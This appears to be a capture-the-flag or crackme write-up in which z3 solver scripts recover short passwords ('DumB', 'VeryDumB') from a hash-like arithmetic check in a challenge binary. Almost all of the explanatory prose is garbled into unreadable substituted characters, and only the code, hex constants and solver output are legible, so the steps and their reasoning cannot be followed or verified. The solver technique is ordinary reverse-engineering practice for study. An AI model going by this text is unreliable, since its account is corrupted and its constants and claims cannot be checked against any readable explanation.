˪˞ˬ˷ ˢ˧ˢ ˣˮ˪˷ ˨˶˰ˢˣ ˡ˴˟ ˭˧ˬ˧ ˢ˧ˢ ˨˶˰ˢ ˪˷ ˢˬ˯˧˯ˢ ˸˧˸˧ˬ˞ˢ Φ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˯˲˞˷ ύол0x ό˶˟ˣ˰ ˶ˣ˯˵ 

˫˰ ˣˢ˷ˬ ˨˲ˣˢ˷ ˣ˸ˣ˞ ˪π0x2e ˧ˮ˞ˣ ˨˧˶˴ ˞ˣˢ˷ ˞˴˧ рф0x Κ˶˷˲˞ ˟ˣ˸˩˪ ˢ˞ˣˣ˷ˬ ˢ˦ˣ˷˲Υ 

x ^ (0x30 ^ 0x2e) = 0x59 

˫˞ ˡˡˣ˟ˮ ˸˞ x ˪˟˵ˮ пт0x ˢˤ˷ G Φ˯˧ˮ˩ˮ ˢˬ˯˧˯˪ Σˠ˟ˡˮ ˟ˣ˷ ˢ˞˶ˮˣ ˢˤ˷ ˨˧˷ˬˬ ˣ˸˪ ˞˟ˢ Ηˣˮ˥˴˧˲ ˫ˠ ˸˞ 

˫˧˟ˣ˷˧˥ˢ ˢˬ˯˧˯˪ ˸˞ˤˢΗ 

ˢˬ˯˧˯ˢ ˞˧ˢΥ 

G3tDaJ0bD0neM4te 

˥ˮ˰˲ˮ ˸˞ ˳˟ˣ˵ ˶˲˯ˬ н ˨˧˷ˬˮˣ ˳˟ˣ˵˪ ˧˷˧˪˷ˢ ˭ˣ˶˥˞ˢˣ Φˢ˯ˮˮ ˟ˣ˷ ˸˞ ˵˧˶˦ˢ ˣˮ˪˷ Σˣ˧˷˩˰ ˶˟˩ ˣˮ˟ˢ 

ˢ˵˧ˠˣ˪ˢ˷ ˢˮ˸˷ˬ ˢˬ˯˧˯ˬ ˢˬ˯˧˯˪ Σˢˣˣ˵ˬ ˞˧ˢ˷ ˞˪ ˢ˧ˢ˸ ˢ˷˵ ˧ˡˬ ˫˰˲ˢ Φ 

˰˲ˢ ˫˪˟˵ˮ ˸˞ ˧˞ˮ˸ˢ ˢˤˢΥ 
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ˣ˧˶˥˞˪ ˢ˧ˢ˧ ˡˣ˰ ˧˞ˮ˸ ˞˪ ˶ˣ˷˵ ˢ˴˧˶ˢˣ ˫˧˧˸˯˸ Φ˟˪˷˟ ˢˤˢ ˶˟˩ ˧˸ˡ˥˲ Σ˧˸˟˷˥ ˧ˮ˞˷ ˨˶˦˴˞ ˶ˣˤ˥˪ 

˶ˣ˸˲˪ ˸˞ ˢˤ ˨˶ˡ˟ ˢ˪˧ˠ˶ˢ ˪˟˞ ˧˸˦˪˥ˢ ˸ˣ˯ˮ˪ ˟ˣ˷˥˪ ˭ˣ˧ˠ˧ˢ˟ ˡˣ˟˰˪ˣ ˧˲˪ ˢˬ ˢ˞˶ˮ˷ ˧˟˵˰ ˫˧˞ˮ˸ˢˬ 

˫˧ˬˡˣ˵ˢΦ 

˶ˣ˶˟ ˧˞ˮ˸ˢ˷ ˢˤˢ ˞ˣˢ ˥˸˲ˬˢ Φ˶ˣ˩ˤˮ ˨˶˰ˢ˷ ˣˮ˪˷ ˡ˧ˬ˸ ˰˧˲ˣˢ ˪˞ˬ˷ˬ ˡ˰ ˢ˩ ˨˶˰ˢˣ ˣˮ˥ˮ˞˷ ˫˧ˮˣˣ˩ˬ 

ˣ˧˪˞ ˭˧ˬ˧ˬ Φ˥˧ˮˮ ˢˤ˷ ˭ˣ˩ˮ ˫ˠ ˫˰˲ˢΦ ˨˞ ˣˮ˷˧ ˧ˣˮ˧˷ ˧˸ˣˢˬ Σˡ˰ ˢ˩ ˣˮˡ˟˰ ˪˰ ˸˧˟ ˡ˥˞ ˪˩˟ ˫˰˲ ˣ˧˷˩˰ˣ ˣˮ˥ˮ˞ 

˫˧˞ˣ˶ ˫˧˩˶˰ ˧ˮ˟ ˢ˰˟˶˞ ˫˧˸˟ Φ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˣ˧˷˩˰˷ ˫˧ˡ˟ˣ˰ ˪˰ ˢ˰˟˶˞ ˫˧ˣˣ˸ ˪˩˟ ˫˰˲ Κ˵ˣˡ˟ˮ ˸˞ 

ˢ˧˶ˣ˞˸ˢ ˸˞ˤˢ Σˢˮ˷ˮ ˡ˥˞ ˡ˥˞ ˸˞ s˫˧ˣˣ˸ Σˠ˟ˡˮˣ ˢ˞˶ˮˣ ˨˶˰ˢ˷ ˧˞ˮ˸˟˷ ˢˮ˸˷ˬ ˵˶ ˡ˥˞˷˩ ˸˰˟˶˞ˬ 

˫˧ˣˣ˸ˢ ˫˧ˮˣ˷˞˶ˢ ˢˮ˸˷ˬ Φ 

ˤ˞ ˢ˞˶ˮ˩ ˣˮ˥ˮ˞˷ ˸ˬ˞˟ ˫˧ˡ˟ˣ˰ ˪˰ ˢ˰˟˶˞ ˫˧ˣˣ˸ ˪˩˟ ˫˰˲ Σ˫˰ ˰ˡ˧ˢ ˢˤˢ ˢ˯ˮˮ ˶ˣ˴˧˪ ˫˧˧ˣˮ˧˷ ˫˧ˮ˦˵ 

˵˧˯ˢ˪ˣ ˨˶˰ˢˬ ˫ˡˣ˵ˢ ˠ˞˟˧ˡ˟ ˨˶˰ˢˣ ˧˥˩ˣˮˢ ˠ˞˟˧ˡ˟ Σˢˬ ˢ˶ˣ˵ ˨˶˰˪ ˣˮ˪˷ Σ˸˞ˤ ˸˶ˬˣ˞ Σ˨˧˞ ˞ˣˢ ˮ˸˷ˢ s

˸ˣ˟˵˰˟ ˢ˪ˣ˰˲ˢ Φˢˬˠˣˡ˪ 

˫ˣ˵ˬ˟ ˸˰˟˶˞ ˫˧ˣˣ˸ˢ лллл ˢ˪˥˸ˢ˟ ˟ˣ˸˩ˮ мллл Σ˨˩ ˸˧˞˶ˮ ˢ˞ˣˣ˷ˢˢ ˶ˠ˞˟˧ˡ˟Υ 

 

˸˧˷˞˶ ˢ˞˶ˮ ˢ˥ˮˢˢ˷ ˣˮ˪˷ ˨˶˰ˢ˷ ˣˮ˪˷ ˞ˣˢ ˡ˴˟ ˪˞ˬ˷ ˞˧ˢ ˢ˧ˣˠ˷ Σ˨˶˰ˢ ˢˮ˸˷ˢ˷ ˞ˣˢ ˡ˴˟ ˭˧ˬ˧ Σˤ˞ 

ˢˤ ˨˶˰ˢ ˣˮ˪˷ Σ˸˧ˮ˷ Σ˫˞ ˢˣˣ˷ˮ ˭˧˟ ˨˶˰ˢ ˫ˡˣ˵ˢ ˨˶˰˪ ˢˤˢ Σˢ˞˶ˮ ˸ˮ˧˥˟ˬ˷ ˷˶˲ˢˢ Σ˞ˣˢ ˞˪ ˪ˣˡˠ Σ˫ˠ 

˸ˮ˧˥˟ˬ ˶ˣ˯˵ˢ Φ˪˟˞ ˶ˣ˶˟ ˞ˣˢ˷ ˶˟ˣ˰ ˧ˢ˷ˤ˧˞ ˢ˪ˣ˰˲ ˸˧˦ˬ˸ˬ Φ˫˷˪ ˸ˮ˟ˢ ˢ˪ˣ˰˲ˢ ˢ˯ˮˮ ˫˰˲ˢ ˢˬ˯˧˯ 

ˢ˪˧˥˸ˬ˷ ˟πнллл ˢ˞˶ˮˣ ˸˞ ˧˞ˮ˸ˢ ˞˟ˢΥ 

 

˫˩˯ˮ ˸˞ ˫˧˩˶˰ˢΥ 

0000 = 0x7c783445  
1000 = 0x7c78c0a6  
2000 = 0x7c794d07  

ˢ˵˧ˡ˟ ˪˷ ˶˷˵ ˭˧˟ ˫˧˩˶˰ˢ ˢ˪ˠ˸ ˣˮ˪ ˷˶˲ˢˢ˷ ˞ˣˢ ˣ˟˵ ˰Φ˸˞ˤ ˸˶ˬˣ˞ ˫˞ ˱˧˯ˣˮ ˨˶˰˪ ˢ˶ˣ˷˟ ˢˮˣ˷˞˶ˢ 

˸˞ ˰ˣ˟˵ˢ 0x8c61 ˪˟˵ˮ ˸˞ ˨˶˰ˢ ˢ˶ˣ˷˟ ˢ˧˧ˮ˷ˢ Φ˫˞ ˱˧˯ˣˮ ˨˶˰˪ ˢ˶ˣ˷˟ ˢ˧˧ˮ˷ˢ ˸˞ ˰ˣ˟˵ˢ 0x8c61 

˪˟˵ˮ ˸˞ ˨˶˰ˢ ˢ˶ˣ˷˟ ˸˧˷˧˪˷ˢ Φˣˮ˞˴ˬ ˶˷˵ Η˧˸˰˴˧˟ ˸˞ ˢ˸ˣ˞ ˢ˵˧ˡ˟ˢ ˫ˠ ˸˷ˣ˪˷˪ ˫˧ˣˣ˸ˢ ˣ˶˸ˣˮ˷ ˸˞ 

ˣ˸ˣ˞ ˯ˣ˲ˡ ˫ˢ˟ Σˣˮ˧˷ ˫ˢ˪˷ ˱˧˯ˣ˧ ˰ˣ˟˵ ˨˶˰˪Σ ˫˞ ˧˩ ˪˩˪ ˡ˥˞ ˰ˣ˟˵ ˶˥˞ Φ˭˞˩ˬ ˨˶ˡˢ ˪πп ˫˧ˣˣ˸ˢ 

˫˧ˮˣ˷˞˶ˢ ˪˷ ˢˬ˯˧˯ˢ ˢ˸˧˧ˢ ˢ˪˵ Σ˦ˣ˷˲ ˧˸˟˸˩ ˦˲˧˶˵˯ z3Υ 

from z3 import *  
 
a, b, c, d = Ints( "a b c d" )  
 
cons_0000 = 0x7c783445 
target = 0x7c8df4cb  
solv = Solver()  
solv.add(a + 0x30 > 32, a + 0x30 < 127)  
solv.add(b + 0x30 > 32, b + 0x30 < 127)  
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solv.add(c + 0x30 > 32, c + 0x30 < 127)  
solv.add(d + 0x30 > 32, d + 0x30 < 127)  
 
solv.add(cons_0000 + a * 1 + b * 0x21 + c * 0x441 + d * 0x8c61 == target)  
while solv.check() == sat:  
    model = solv.model()  
 
    a_val = model[a ].as_long()  
    b_val = model[b].as_long()  
    c_val = model[c].as_long()  
    d_val = model[d].as_long()  
    try :  
      result = bytes ([d_val + 0x30, c_val + 0x30, b_val + 0x30, a_val + 0x30])  
      print (result)  
    except :  
       pass 
    solv.add(Or(a ! = a_val, b != b_val, c != c_val, d != d_val))  

˭ˣˣ˧˩ ˧ˮˮ˧˞˷ ˰ˡˣ˧ ˡ˴˧˩ ˨˶˰ˢ ˶˴ˣˮ ˢˬπлллл ˧˸˪˥˸ˢˢ ˧˸˯ˮ˩ˢ˷ Σ˦ˣ˷˲ ˧˸˷ˬ˸˷ˢ x˟ ˯˧˯˟˩ ˧˸˲˯ˣˢˣ ˣ˧˪˞ 

˸˞ ˪˩ ˶˞˷ˢ Φ˧˸˪˟˧˵ ˸˞ ˦˪˲ˢΥ 

 

ˬ˪˩ ˸ˣ˧ˣ˶˷˲˞ˢ VerY ˸˧˞˶ˮ ˧˪ ˢ˧˴˲ˣ˞ˢ ˢˡ˧˥˧ˢ ˸˧ˮˣ˧ˠˢˢ ˤ˞ ˨˧˷ˬˮ ˢ˸˧˞ Σˠ˟ˡˮ ˢ˞˶ˮˣ ˢˤ˷ ˭ˣ˩ˮΗ 

 

˶ˣˤ˥ˮ ˪˰ ˢ˸ˣ˞ ˢ˦˧˷ˢ ˪πп ˫˧ˣˣ˸ˢ ˫˧˞˟ˢ Σ˞˴ˬˮ ˸˞ ˫˧˷˶˲ˢˢ ˟ˣ˸˩ˮˣ ˦˲˧˶˵˯Υ 

from z3 import *  
 
a, b, c, d = Ints( "a b c d" )  
 
cons_0000 = 0x61800c30 
target = 0x8b681d82 
solv = Solver()  
solv.add(a + 0x30 > 32, a + 0x30 < 127)  
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solv.add(b + 0x30 > 32, b + 0x30 < 127)  
solv.add(c + 0x30 > 32, c + 0x30 < 127)  
solv.add(d + 0x30 > 32, d + 0x30 < 127)  
 
solv.add(cons_0000 + a * 1 + b * 0x80000 + c * 0x40 + d * 0x2000000 == target)  
while solv.check() == sat:  
    model = solv.model()  
 
    a_val = model[a].as_long()  
    b_val  = model[b].as_long()  
    c_val = model[c].as_long()  
    d_val = model[d].as_long()  
    try :  
      result = bytes ([d_val + 0x30, c_val + 0x30, b_val + 0x30, a_val + 0x30])  
      print (result)  
    except :  
       pass 
    solv.add(Or(a != a_val, b != b_val, c != c_val, d != d_val))  

˳˧˶ˮ ˪˟˵ˮˣ ˸˞ ˦˪˲ˢΥ 

b'Eu - B'  
b'DumB'  

˶ˣ˶˟ ˢˤ˷ DumB Σˢ˞˪ˢ ˪-п ˫˧˸˟ˢ ˫˧˞˟ˢΧ ˤ˞ ˣˢˤ Σ˞˪˷ ˵ˣ˧ˡ˟ Σ˫ˡˣ˵ˬ ˧˸˥ˮˢ ˢˤ˷ ˵˪ˣ˥ˬ ˸ˣ˵˧ˡ˟˪ ˪˷ 

ˢ˰˟˶˞ ˫˧ˣˣ˸ ˪˩˟ ˫˰˲ ˢˤˣ ˦˰ˬ˩ ˭ˣ˩ˮ Σ˵˶ ˸ˮˣˬ˷˷ ˫˧˸˟ˢ ˫˧ˮˣ˶˥˞ˢ ˫˧˵ˡ˟ˮ ˡ˥˧˟ Φ 

˧˸˲˶˷ ˢ˟˶ˢ ˭ˬˤ ˪˰ ˢˤ Φˤ˞ ˷˧ ˣˮ˪ ˢ˵˧ˡ˟ ˪˷ п Σˢ˵˧ˡ˟ ˪˷ п ˤ˞ˣ ˢ˵˧ˡ˟ ˪˷ у Φ˭˧˧ˡ˰ ˢ˸ˣ˞ ˢ˦˧˷ ˫˰ 

˫˧˷˶˲ˢˢ ˸ˡ˟ˣ˰ Σ˟ˣ˸˩ˮ ˦˲˧˶˵˯Υ 

from z3 import *  
 
a,b,c,d,e,f,g,h = Ints ( "a b c d e f g h" )  
 
cons_0000 = 0x6c80181 
target = 0xf910374  
mod_32 = 4294967296 
mod_64 = 18446744073709551616 
solv = Solver ()  
 
solv. add(a + 0x30 > 32, a + 0x30 < 128)  
solv. add(b + 0x30 > 32, b + 0x30 < 128)  
solv. add(c + 0x30  > 32, c + 0x30 < 128)  
solv. add(d + 0x30 > 32, d + 0x30 < 128)  
solv. add(e + 0x30 > 32, e + 0x30 < 128)  
solv. add(f + 0x30 > 32, f + 0x30 < 128)  
solv. add(g + 0x30  > 32, g + 0x30 < 128)  
solv. add(h + 0x30 > 32, h + 0x30 < 128)  
 
# solv.add(a+0x30 == ord('p')) # p P  
# solv.add(b+0x30 == ord('a')) # a A 4  
# solv.add(c+0x30 == ord('s')) # s S 5  
# solv.add(d+0x30 == ord('s'))  
# solv.add(e+0x30 == ord('w'))  

 
solv. add(  
    ((cons_0000) + 
     (h * 0x10001) + 
     (g * 0x20001) + 
     (f * 0x30001) + 
     (e * 0x40001) + 
     (d * 0x50001) + 
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     (c * 0x60001) + 
     (b * 0x70001)  + 
     (a * 0x80001) ) % mod_32  == target)  
 
chk = solv. check ()  
if (chk != sat):  
    print (chk)  
     
else :  
  while solv. check () == sat:  
      model = solv. model()  
 
      a_val = model[a]. as_long ()  
      b_val = model[b]. as_long ()  
      c_val = model[c]. as_long ()  
      d_val = model[d]. as_long ()    
      e_val = model[e]. as_long ()  
      f_val = model[f]. as_long ()  
      g_val = model[g]. as_long ()  
      h_val = model[h]. as_long ()  
 
      result = chr (a_val + 0x30) + chr (b_val + 0x30) + chr (c_val + 0x30) + 
               chr (d_val + 0x30) + chr (e_val + 0x30) + chr (f_val + 0x30) + 
               chr (g_val + 0x30) + chr (h_val + 0x30)  
      print (result)  
       
      solv. add( Or(a != a_val, b != b_val, c != c_val, d != d_val, e != e_val, f != 
f_val, g != g_val, h != h_val))  

ˢ˧˰˟ˢ ˪˟˵ˮ˷ ˸ˣˬ˩ ˸˲˶ˣ˦ˬ ˪˷ ˸ˣ˧ˣ˶˷˲˞ Σˤ˞ ˧˸˲˯ˣˢ ˫˧˞ˮ˸ ˧ˣ˵˧ˮ˪ ˫˧ˣˣ˸ ˣ˧ˢ˷ ˫˧˴ˣ˲ˮ ˨˞ ˞˪ ˡˣ˞ˬ 

˫˧˶˧˟˯ ˣ˧ˢ˧˷ ˢˬ˯˧˯˟Υ 

solv. add(  
    a + 0x30 != ord ( "|" ), a + 0x30 != ord ( "{" ), a + 0x30 != ord ( "}" ),  
    b + 0x30 != ord ( "|" ), b + 0x30 != ord ( "{" ), b + 0x30 != ord ( "} " ),  
    c + 0x30 != ord ( "|" ), c + 0x30 != ord ( "{" ), c + 0x30 != ord ( "}" ),  
    d + 0x30 != ord ( "|" ), d + 0x30 != ord ( "{" ), d + 0x30 != ord ( "}" ),  
    e + 0x30 != ord ( "|" ), e + 0x30 != ord ( "{" ), e + 0x30 != ord ( "}" ),  
    f + 0x30 != ord ( "|" ), f + 0x30 != ord ( "{" ), f + 0x30 != ord ( "}" ),  
    g + 0x30 != ord ( "|" ), g + 0x30 != ord ( "{" ), g + 0x30 != ord ( "}" ),  
    h + 0x30 != ord ( "|" ), h + 0x30 != ord ( "{" ), h + 0x30 != ord ( "}" )  
)  

˭˧˧ˡ˰ ˷˧ ˸ˣˬ˩ ˸˲˶ˣ˦ˬ ˪˷ ˸ˣ˧ˣ˶˷˲˞ Σˤ˞ ˧˸ˮˤˢ ˸˞ ˸˥˞ ˭ˢˬ ˧˸ˠ˟˧ˡˣ Σ˞˧ˢ ˸ˬ˞˟ ˢ˪˟˵˸ˢ ˤ˞ˣ ˧˸˧˞˶ 

˷˧˷ ˡˣ˰ ˧˞ˮ˸ ˪˰ ˸ˮˣˬ˷ ˫˧ˣˣ˸ˢ Η˰ˠ˶˟ ˢˤˢ ˡˣ˞ˬ ˧˸˟ˤ˩˞˸ˢ Φ 

˸˲˵˸ˬˢ ˳ˣ˶˰ ˧ˡˡ˴ ˢˬ˧ˢˡˬˢ ˧˸˶ˡ˧˯˷ ˞˪ ˥˵˧˸ ˧˸ˣ˞ ˣ˵˪ ˫ˣ˧˯ˢ Κˢˤ ˞˪ ˪ˣ˩˧ ˸ˣ˧ˢ˪ Ηˢ˧˰˟ˢ ˞˧ˢ˷ ˞˪ 

ˢ˧ˣˮ˟ ˶ˡ˸˯ˢ˪ ˫˰ ˧ˮ˷ ˞ˮ˸˫˧ ˪˰ ˣ˸ˣ˞ ˦˯ ˫˧˞ˮ˸ Σ˪˩ ˭ˣ˧˰˶ˢ ˣˮ˥ˮ˞˷ ˫˧˪ˣ˩˧ ˵˥˷˪ ˫˰ ˫˧ˣˣ˸ˢ ˞˧˴ˣˢ˪ˣ ˸˞ 

˫˧˷˶˲ˢˢΦ ʕ˞ ˧˸˧˷˰ ˸˞ ˢˬ ˧˸˧˷˰˷ ˨˶ˣ˞˪ ˪˩ ˸ˣ˶˥˸ˢ π ˧˸˷˥˧ˮ Φˢˬ˯˧˯ˢ ˢ˪˧˥˸ˬ ˟πVeryDumB 

ˢ˵˧ˡ˟ˢˣ ˢˮˣ˶˥˞ˢ ˞˧ˢ ˪˰ у ˫˧ˣˣ˸ Σ˧˪ˣ˞ sπу ˫˧ˣˣ˸ ˫˧ˮˣ˶˥˞ˢ ˫ˢ ˫ˢ˷ˤ˧˞ ˢ˧˴˞˧˶ˣ ˪˷ Ϧpassword Ϧ

˧˸˯ˮ˩ˢ ˫˧˞ˮ˸ ˫˧˲˯ˣˮ ˧ˡ˩ ˸ˬ˞˪ Φ˧˸˵ˡ˟ ˧˸˪˯˲ˣ ˸ˣ˧ˣ˶˷˲˞ ˣ˸ ˶˥˞ ˣ˸Υ 

solv. add(a +0x30 == ord ( 'p' )) # p P  
solv. add(b +0x30 == ord ( 'a' )) # a A 4  
solv. add(c +0x30 == ord ( 's' )) # s S 5  
solv. add(d +0x30 == ord ( 's' )) # s S 5  
solv. add(e +0x30 == ord ( 'w' )) # w W  
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˧˸˲˯ˣˢ˷˩ ˸˞ ˫˧˞ˮ˸ˢ ˢ˪˞ˢΣ ˧˸˪˟˧˵ ˦˪˵ ˶˴˵ ˶˸ˣ˧Υ 

 

˫ˢ˧ˮ˧˟ˣ password Σ˧˪˟ ˸ˣ˶˲˯ ˰˴ˬ˞˟ Σ˸ˣ˧˸ˣ˞˟ ˸ˣˮ˦˵ Φ˯˧˯˟ˢ ˫˧˷ˣ˥˧ˮ˪ ˧˪˷ Φ˧˸˧˯˧ˮ ˸˞ ˧˪ˤˬΥ 

 

˧˸˥˪˴ˢˣ Ηˢˤ ˥ˮ˰˧˲ ˸˞ ˳˟ˣ˵ˢ Σ˭ˬˤ ˪˩˸˯ˢ˪ ˪˰ ˫˧˴˟˵ˢ! ˫˞ ˢ˷˰ˮ mount ˪πdisk ˢ˞˶ˮ ˶˟ˣˡˬ˷ 

˸ˣˮˣˬ˸˟ ˪˷ ˪ˠˡˢ Σ˧ˮ˞ ˥˧ˮˬ ˧˲˪˷ ˶ˡ˯ˢ Φˢ˞˶ˮ ˷˧˷ ˨˷ˬˢ ˧˶˥˞ ˢˮˣˬ˸ ˶˲˯ˬ о Φ˶ˣˤ˥ˮ ˪ˮ˧ˬ˶˦˪ ˞˶˵ˮˣ 

ˢˬ ˯˲ˡˣˢ ˣˮ˪ Σˢ˞˶ˮ ˷˧˷ ˡˣ˰ ˳˟ˣ˵ ˣˮ˷˵˟˸ˢ˷ ˳˧˶ˢ˪ Φ˳˧˶ˮ ˣ˸ˣ˞ ˪˟˵ˮˣ ˸˞ ˦˪˲ˢΥ 
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